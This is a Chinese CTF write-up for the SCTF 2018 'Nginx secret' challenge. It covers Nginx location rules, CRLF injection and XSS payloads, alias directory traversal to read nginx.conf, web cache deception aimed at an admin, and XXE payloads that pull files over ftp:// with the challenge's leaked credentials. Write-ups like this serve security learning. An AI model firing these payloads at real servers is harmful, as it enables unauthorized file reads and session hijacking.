Nginx的配置秘密?

SCTF中的“Nginx的秘密”这道题的WP。一边学一边看WP做的,总结下从这道题学到的一些东西。

题目源码:https://github.com/cL0und/sctf2018-NginxSecret

Nginx路由配置

Nginx路由是通过配置 location 的规则实现的。

语法规则

1
location 修饰符 uri {...}

语法规则很简单,一个location关键字,后面跟着可选的修饰符,后面是要匹配的字符,花括号中是要执行的操作。

修饰符

  • =表示精确匹配。只有请求的url路径与后面的字符串完全相等时,才会命中。
  • ~表示该规则是使用正则定义的,区分大小写。
  • ~*表示该规则是使用正则定义的,不区分大小写。
  • ^~表示如果该符号后面的字符是最佳匹配,采用该规则,不再进行后续的查找。

匹配规则

在匹配前要先对请求的URL进行解码等前置工作,然后进行正式匹配。

具体的匹配过程如下:

首先进行精准匹配(=),如果精准匹配有结果,则匹配结束,并返回结果。

如果精准匹配未匹配成功,则进行普通匹配普通匹配会匹配请求的前缀字符串,最后会选区命中最多的一个结果。

普通匹配不论成功与否,匹配过程都不会立马结束,而是会继续进行正则匹配正则匹配会按顺序依次查找,如果有一个命中,就会立马返回,并且会覆盖普通匹配成功后的结果。如果正则匹配失败,才会使用普通匹配的结果。

安全问题

location 配置有两个值得注意的安全问题。

CRLF注入漏洞

首先先来了解一下什么是CRLF?CRLF是”回车 + 换行”(\r\n)的简称。HTTP 中 HTTP Header 和 HTTP Body 就是用两个 CRLF 分隔的。

在有 302 跳转的页面,可以通过 CRLF 来修改 HTTP Header 和 HTTP Body ,注入恶意代码。导致一些像会话固定漏洞、xss等严重漏洞。

在Nginx中,设置 302 跳转时如果使用了这样配置,就会导致CRLF注入漏洞:

1
2
3
location / {
return 302 http://$host$uri;
}

变量 $uri 表示的是,解码后的请求路径。与之相似的还有变量 $document_uri

在本地配置好环境后,我们请求 url :

1
http://127.0.0.1/%0d%0aset-cookie:id=easter

用 Burp 查看请求包:

可以看到在响应包里已经有我们设置的SESSION了。

同理可以伪造 body 执行xss:

1
http://127.0.0.1/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

恶意代码已被插入 body 中。

虽然在 Burp 中查看是没问题的,但在浏览器上执行时却是这样的结果。

这是什么情况?

经过反复研究,发现以上面那种方法配置。第一次 302 跳转后的URL是 http://127.0.0.1/ ,此时请求的uri就变成了 / 。而 Nginx 又会将这个请求重定向到 http://127.0.0.1/ 。造成了无限跳转的结果。

最后更改路由,让 / 跳转到 /newRoot/。由于 /newRoot/ 是用正则写的,所以匹配通过后,不会再采用普通匹配的结果。

1
2
3
4
5
6
7
location /{
return 302 http://$host/newRoot$uri;
}

location ^~ /newRoot/ {
index index.html index.php;
}

接下来请求:

1
http://127.0.0.1/1.html%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

并没有弹窗,在 Burp 上查看历史:

确实有过 302 跳转,恶意代码也插入了。但为什么没有弹窗呢?

这个我将会在之后继续学习。

目录穿越漏洞

Nginx处理静态文件时通常要进行如下配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
location /files {
alias /home/;
}

```

`alias` 设置了 `/files` 的别名为 `/home/` ,所以当访问 `http://example.com/files/readme.txt`,就可以获取 `/home/readme.txt` 文件。

而造成目录穿越漏洞的原因,就是 `/home/` 最后那个 `/` 。这个 `/` 导致我们可以通过访问 `/files../` 穿越到它的上层目录。

这个漏洞在 [Vulhub](https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration) 中有 Docker 环境,可以很简单的复现一下。

# 解题阶段 1

回到这道题,第一步就是利用**目录穿越漏洞**下载 Nginx 配置文件。

Nginx 的**静态资源**一般放在 `/public` 或 `/static` 下面(虽然是看了WP才知道的==)。而 Nginx **配置文件**默认的位置是 `/etc/nginx/nginx.conf`。所以访问 `http://xxxx/static../etc/nginx/nginx.conf` 即可下载 Nginx 配置文件。

这个配置文件显然是一个切入点,接下来思路的提示也在其中。不过在看之前先介绍一个工具 `GIXY` (https://github.com/yandex/gixy),它是一个Nginx配置文件扫描工具,能够自动检测 Nginx 配置文件中的安全问题,通过 `pip` 就可以轻松安装。

扫描启动!

```Shell
gixy nginx.conf

或许我不该抱有什么期望。。。

配置文件中,我们重点关注路由这一块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
location /static {
alias /home/;
}

location ~* \.(css|js|gif|png){
proxy_cache my_cache;
proxy_cache_valid 200 30s;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
proxy_ignore_headers Expires Cache-Control Set-Cookie;
}

location / {
limit_conn conn 10;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
}

中间那又臭又长的,简直是大写的可疑。~* \.(css|js|gif|png) 这个正则规则匹配的是 png 这种静态文件,而括号中的几个配置也说明了这是一个关于静态资源缓存的规则。

这似乎暗示着下一个利用点Web缓存漏洞(虽然也是看WP知道的…)。

Web缓存漏洞

Web资源缓存

下面关于Web 缓存的内容均摘自MDN web docs。这里我仅截取了部分介绍性内容,若想看完整内容,请访问:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Caching_FAQ

重用已获取的资源能够有效的提升网站与应用的性能。Web 缓存能够减少延迟与网络阻塞,进而减少显示某个资源所用的时间。借助 HTTP 缓存,Web 站点变得更具有响应性。

私有缓存

也叫浏览器(Local)缓存,只能用于单独用户。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

共享缓存

也叫代理缓存。通常保存像css、js这样会被反复使用的共享资源。

Web 缓存漏洞

关于这个,一言以蔽之。就是诱导受害者访问http://example.com/index.php/vip.png,然后攻击者也访问http://example.com/index.php/vip.png,就可以得到相同的内容,即便是攻击者没有访问权限。

之所以会有这样的结果,是因为服务器将http://example.com/index.php/vip.png当成了静态资源缓存。所以这个漏洞成立的满足条件:

  1. 访问“http://www.example.com/index.php/vip.png”之类的页面时,服务器需要返回对应的index.php的内容
  2. Web应用启用了Web缓存功能,并且会根据文件的扩展名来缓存,同时会忽略掉任何缓存头部。
  3. 受害者在访问恶意URL地址时必须已经过认证。

解题阶段 2

解法 1

从之前的配置文件中,我们知道了服务器开启了缓存功能。利用 Web 缓存漏洞即可得到admin的关键信息。

注册一个号做一个简单的验证,在 Write_your_plan 随便写点。

访问 http://149.129.103.103:4455/write_plan/easter.js 让服务器缓存一个静态资源,同时页面正常回显说明存在漏洞。

在命令行中 curl 一下:

成功加载了我们的Plan。

根据 http://149.129.103.103:4455/user/admin 的提示:

既然要查看admin的Plan,我们就可以用 Web 缓存漏洞来窥探我们没有权限访问的admin的 http://149.129.103.103:4455/write_plan/。在Post_Bug处提交 http://149.129.103.103:4455/write_plan/easter.js 让admin访问:

很可惜,我做到这里的时候,题目似乎坏了……按照剧情我们将会在 http://149.129.103.103:4455/write_plan/easter.js 得到一个这样的提示:

1
8 months ago 明晚维同网段的ftp服务器,syc10ver Eec5TN9fruOOTp2G。密码这么长真是难记,备注一下~。

解法 2

回到之前路由的配置:

1
2
3
4
5
6
7
location ~* \.(css|js|gif|png){
proxy_cache my_cache;
proxy_cache_valid 200 30s;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
proxy_ignore_headers Expires Cache-Control Set-Cookie;
}

由于定义缓存文件名的 proxy_cache_key 未设置,则使用默认值 \$scheme\$proxy_host\$request_uri,即文件名形式为 MD5(\$scheme\$proxy_host\$request_uri)

1
proxy_cache_path /tmp/mycache levels=1:2

因为levels=1:2,proxy_cache_path 缓存的路径为/tmp/mycache下的两级目录下第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/tmp/mycache/c/a2/2b236ce5a5d567d4642800a739429a2c
```

所以这里还可以通过目录穿越访问静态资源的方法,来得到相同的结果。

# 解题阶段 3

利用xxe

```Shell
a few seconds ago
a few seconds ago 172.19.0.1 0x1 0x2 02:42:ec:2a:71:fb * eth0
a few seconds ago
a few seconds ago 172.19.0.2 0x1 0x2 02:42:ac:13:00:02 * eth0
a few seconds ago
a few seconds ago 172.19.0.4 0x1 0x2 02:42:ac:13:00:04 * eth0
a few seconds ago
a few seconds ago IP address HW type Flags HW address Mask Device

发现存在172.18.0.1~4

读目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [<!ENTITY remote SYSTEM
"ftp://syc10ver:Eec5TN9fruOOTp2G@172.18.0.2/">]>
<plans>
<plan>
<content>payload &remote;</content>
</plan>
</plans>

```

读flag

```PHP
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [<!ENTITY remote SYSTEM
"ftp://syc10ver:Eec5TN9fruOOTp2G@172.18.0.2/flag327a6c4304ad5938eaf0efb6cc3e53dc">]>
<plans>
<plan>
<content>payload &remote;</content>
</plan>
</plans>

参考文章

https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

https://github.com/yandex/gixy

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Caching_FAQ

https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html

https://www.anquanke.com/post/id/86516

https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

https://segmentfault.com/a/1190000013267839